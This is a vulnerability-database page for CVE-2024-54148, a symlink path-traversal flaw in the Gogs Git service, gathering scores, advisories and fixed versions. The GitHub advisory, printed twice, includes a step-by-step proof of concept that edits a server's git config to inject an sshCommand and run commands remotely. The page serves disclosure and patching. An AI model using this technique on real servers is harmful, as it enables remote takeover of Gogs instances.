Every CVE Search/ Get API key

CVE-2024-54148

Gogs has a Path Traversal in file editing UI

8.7 HighFix available

Gogs is an open source self-hosted Git service. A malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server. The vulnerability is fixed in 0.13.1.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

0.85%Up 0.8 points since Dec 24, 2024
90%50%10%1%

What each source reports

CVE List Score used 8.7

Gogs has a Path Traversal in file editing UI

Gogs is an open source self-hosted Git service. A malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server. The vulnerability is fixed in 0.13.1.

Record
CVE-2024-54148
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-61, CWE-22
Updated
2026-11-02
EUVDEUVD-2024-3610 8.7

Gogs is an open source self-hosted Git service. A malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server. The vulnerability is fixed in 0.13.1.

Record
EUVD-2024-3610
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-03
GitHub AdvisoriesGHSA-r7j8-5h9c-f6fx 8.7

Remote Command Execution in file editing in gogs

Impact

The malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server.

Patches

Editing symlink while changing the file name has been prohibited via the repository web editor (https://github.com/gogs/gogs/pull/7857). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.

Workarounds

No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.

References

n/a

Proof of Concept

  1. Create two repositories, upload something to the first repository, edit any file, and save it on the webpage.

  2. In the second repository, create a symbolic link to the file you need to edit:

    $ ln -s /data/gogs/data/tmp/local-repo/1/.git/config test
    $ ls -la
    total 8
    drwxr-xr-x   5 dd  staff  160 Oct 27 19:09 .
    drwxr-xr-x   4 dd  staff  128 Oct 27 19:06 ..
    drwxr-xr-x  12 dd  staff  384 Oct 27 19:09 .git
    -rw-r--r--   1 dd  staff   12 Oct 27 19:06 README.md
    lrwxr-xr-x   1 dd  staff   44 Oct 27 19:09 test -> /data/gogs/data/tmp/local-repo/1/.git/config
    $ git add .
    $ git commit -m 'ddd'
    $ git push -f
    
  3. Go back to the webpage, edit the symbolic file in the second repository, with the following content, change the filename, and save (here you can notice, with filename changed the symbolic file edit limit is bypassed)

    [core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    ignorecase = true
    precomposeunicode = true
    sshCommand = echo pwnned > /tmp/poc
    [remote "origin"]
    url = [[email protected]](mailto:[email protected]):torvalds/linux.git
    fetch = +refs/heads/*:refs/remotes/origin/*
    [branch "master"]
    remote = origin
    merge = refs/heads/master
    
  4. Go back to the first repo, edit something, and commit again, you can notice a file called /tmp/poc created on the server.

For more information

If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.

Record
GHSA-r7j8-5h9c-f6fx
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-22
Updated
2026-11-02
NVD 8.7

Gogs is an open source self-hosted Git service. A malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server. The vulnerability is fixed in 0.13.1.

Record
CVE-2024-54148
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-22, CWE-61
Updated
2026-11-02
OSV 8.7

Gogs has a Path Traversal in file editing UI

Gogs is an open source self-hosted Git service. A malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server. The vulnerability is fixed in 0.13.1.

Record
CVE-2024-54148
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-22, CWE-61
Updated
2026-11-02
OSVGHSA-r7j8-5h9c-f6fx 8.7

Remote Command Execution in file editing in gogs

Impact

The malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server.

Patches

Editing symlink while changing the file name has been prohibited via the repository web editor (https://github.com/gogs/gogs/pull/7857). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.

Workarounds

No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.

References

n/a

Proof of Concept

  1. Create two repositories, upload something to the first repository, edit any file, and save it on the webpage.

  2. In the second repository, create a symbolic link to the file you need to edit:

    $ ln -s /data/gogs/data/tmp/local-repo/1/.git/config test
    $ ls -la
    total 8
    drwxr-xr-x   5 dd  staff  160 Oct 27 19:09 .
    drwxr-xr-x   4 dd  staff  128 Oct 27 19:06 ..
    drwxr-xr-x  12 dd  staff  384 Oct 27 19:09 .git
    -rw-r--r--   1 dd  staff   12 Oct 27 19:06 README.md
    lrwxr-xr-x   1 dd  staff   44 Oct 27 19:09 test -> /data/gogs/data/tmp/local-repo/1/.git/config
    $ git add .
    $ git commit -m 'ddd'
    $ git push -f
    
  3. Go back to the webpage, edit the symbolic file in the second repository, with the following content, change the filename, and save (here you can notice, with filename changed the symbolic file edit limit is bypassed)

    [core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    ignorecase = true
    precomposeunicode = true
    sshCommand = echo pwnned > /tmp/poc
    [remote "origin"]
    url = [[email protected]](mailto:[email protected]):torvalds/linux.git
    fetch = +refs/heads/*:refs/remotes/origin/*
    [branch "master"]
    remote = origin
    merge = refs/heads/master
    
  4. Go back to the first repo, edit something, and commit again, you can notice a file called /tmp/poc created on the server.

For more information

If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.

Record
GHSA-r7j8-5h9c-f6fx
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-22
Updated
2026-11-02
OSVGO-2024-3355 No score

Remote Command Execution in file editing in gogs in gogs.io/gogs

Remote Command Execution in file editing in gogs in gogs.io/gogs

Record
GO-2024-3355
Updated
2026-11-02
OSVopenSUSE-SU-2025:14624-1 No score

govulncheck-vulndb-0.0.20250108T191942-1.1 on GA media

These are all security issues fixed in the govulncheck-vulndb-0.0.20250108T191942-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2025:14624-1
Updated
2026-11-02
OSVSUSE-SU-2025:0060-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20250108T191942 2025-01-08T19:19:42Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2025-3371 GHSA-2r2v-9pf8-6342
    • GO-2025-3374 CVE-2025-22130 GHSA-j4jw-m6xr-fv6c
  • Update to version 0.0.20250107T160406 2025-01-07T16:04:06Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2025-3363 GO-2025-3364 GO-2025-3367 GO-2025-3368
    • GO-2024-3355 CVE-2024-54148 GHSA-r7j8-5h9c-f6fx
    • GO-2024-3356 CVE-2024-55947 GHSA-qf5v-rp47-55gg
    • GO-2024-3357 CVE-2024-56362 GHSA-xwx7-p63r-2rj8
    • GO-2024-3358 CVE-2024-45387 GHSA-vq94-9pfv-ccqr
    • GO-2024-3359 CVE-2024-28892 GHSA-5qww-56gc-f66c
    • GO-2024-3360 CVE-2024-25133 GHSA-wgqq-9qh8-wvqv
    • GO-2025-3361 CVE-2024-55196 GHSA-rv83-h68q-c4wq
    • GO-2025-3362 CVE-2025-21609 GHSA-8fx8-pffw-w498
    • GO-2025-3363 CVE-2024-56514 GHSA-cwrh-575j-8vr3
    • GO-2025-3364 CVE-2024-56513 GHSA-mg7w-c9x2-xh7r
    • GO-2025-3367 CVE-2025-21614 GHSA-r9px-m959-cxf4
    • GO-2025-3368 CVE-2025-21613 GHSA-v725-9546-7q7m
  • Update to version 0.0.20241220T214820 2024-12-20T21:48:20Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2024-3101 GHSA-75qh-gg76-p2w4
    • GO-2024-3339 GHSA-8wcc-m6j2-qxvm
  • Update to version 0.0.20241220T203729 2024-12-20T20:37:29Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2024-3101 GHSA-75qh-gg76-p2w4
    • GO-2024-3109 CVE-2024-43803 GHSA-pqfh-xh7w-7h3p
    • GO-2024-3333 CVE-2024-45338 GHSA-w32m-9786-jp63
    • GO-2024-3342 GHSA-hxr6-2p24-hf98
    • GO-2024-3343 CVE-2024-9779 GHSA-jhh6-6fhp-q2xp
    • GO-2024-3344 GHSA-32gq-x56h-299c
    • GO-2024-3349 CVE-2024-25131 GHSA-77c2-c35q-254w
    • GO-2024-3350 GHSA-5pf6-cq2v-23ww
    • GO-2024-3354 CVE-2024-12678 GHSA-hr68-hvgv-xxqf
Record
SUSE-SU-2025:0060-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
gogs.io/gogs
Go
before 0.13.1
0.13.1
govulncheck-vulndb
SUSE:Linux Enterprise Module for Package Hub 15 SP6
From an advisory covering 18 CVEs
before 0.0.20250108T191942-150000.1.26.1
0.0.20250108T191942-150000.1.26.1
govulncheck-vulndb
openSUSE:Leap 15.6
From an advisory covering 18 CVEs
before 0.0.20250108T191942-150000.1.26.1
0.0.20250108T191942-150000.1.26.1
govulncheck-vulndb
openSUSE:Tumbleweed
From an advisory covering 13 CVEs
before 0.0.20250108T191942-1.1
0.0.20250108T191942-1.1

History

History
RecordedChangedSources
affected, facts
aliases, publishedEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2024-54148 is a high vulnerability (CVSS 8.7) in Gogs, published December 23, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.85%, the 58th percentile. Fixed in gogs.io/gogs 0.13.1.

References

Show 22 moreShow less
MoveEnter Open